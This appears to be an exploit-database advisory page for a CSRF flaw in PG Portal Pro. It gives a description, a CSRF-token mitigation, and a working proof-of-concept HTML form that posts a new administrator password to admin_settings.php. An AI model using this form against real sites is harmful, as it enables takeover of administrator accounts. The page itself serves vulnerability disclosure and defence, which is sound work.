PG Portal pro CSRF Vulnerability

vendor:

PG Portal Pro

by:

Noxious

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: PG Portal Pro

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

PG Portal pro CSRF Vulnerability

A CSRF vulnerability exists in PG Portal Pro, which allows an attacker to change the password of an administrator account. This is done by sending a malicious POST request to the admin_settings.php page, which contains the new password and confirmation of the new password. The attacker can then use the new password to gain access to the administrator account.

Mitigation:

Implementing a CSRF token in the POST request can help prevent this vulnerability.

Source

Exploit-DB raw data:

###########################################################
[~] Exploit Title: PG Portal pro CSRF Vulnerability
[~] Author: Noxious
[~] Team: WE SECRET
[~] Gr33tz: Fox
[~] link:http://www.hotscripts.com/listing/pg-portal-pro/
###########################################################
 [CSRF Change Password]
 
 <form method="POST" action="http://server/admin/admin_settings.php" enctype="multipart/form-data">
 <input type="hidden" name="sel" value="save_admin_pass"><table cellpadding="3" cellspacing="0"><tr><td width="150"><font class="main_header_text">New Password:</font></td><td><input type="password" name="new_pass" value="" style="width: 200px;"></td></tr><tr><td>
 <font class="main_header_text">Confirm New Password:</font></td><td><input type="password" name="new_pass_confirm" value="" style="width: 200px;"></td></tr><tr><td> </td><td>
 <input type="submit" value="Save"></td></tr></table></form></div>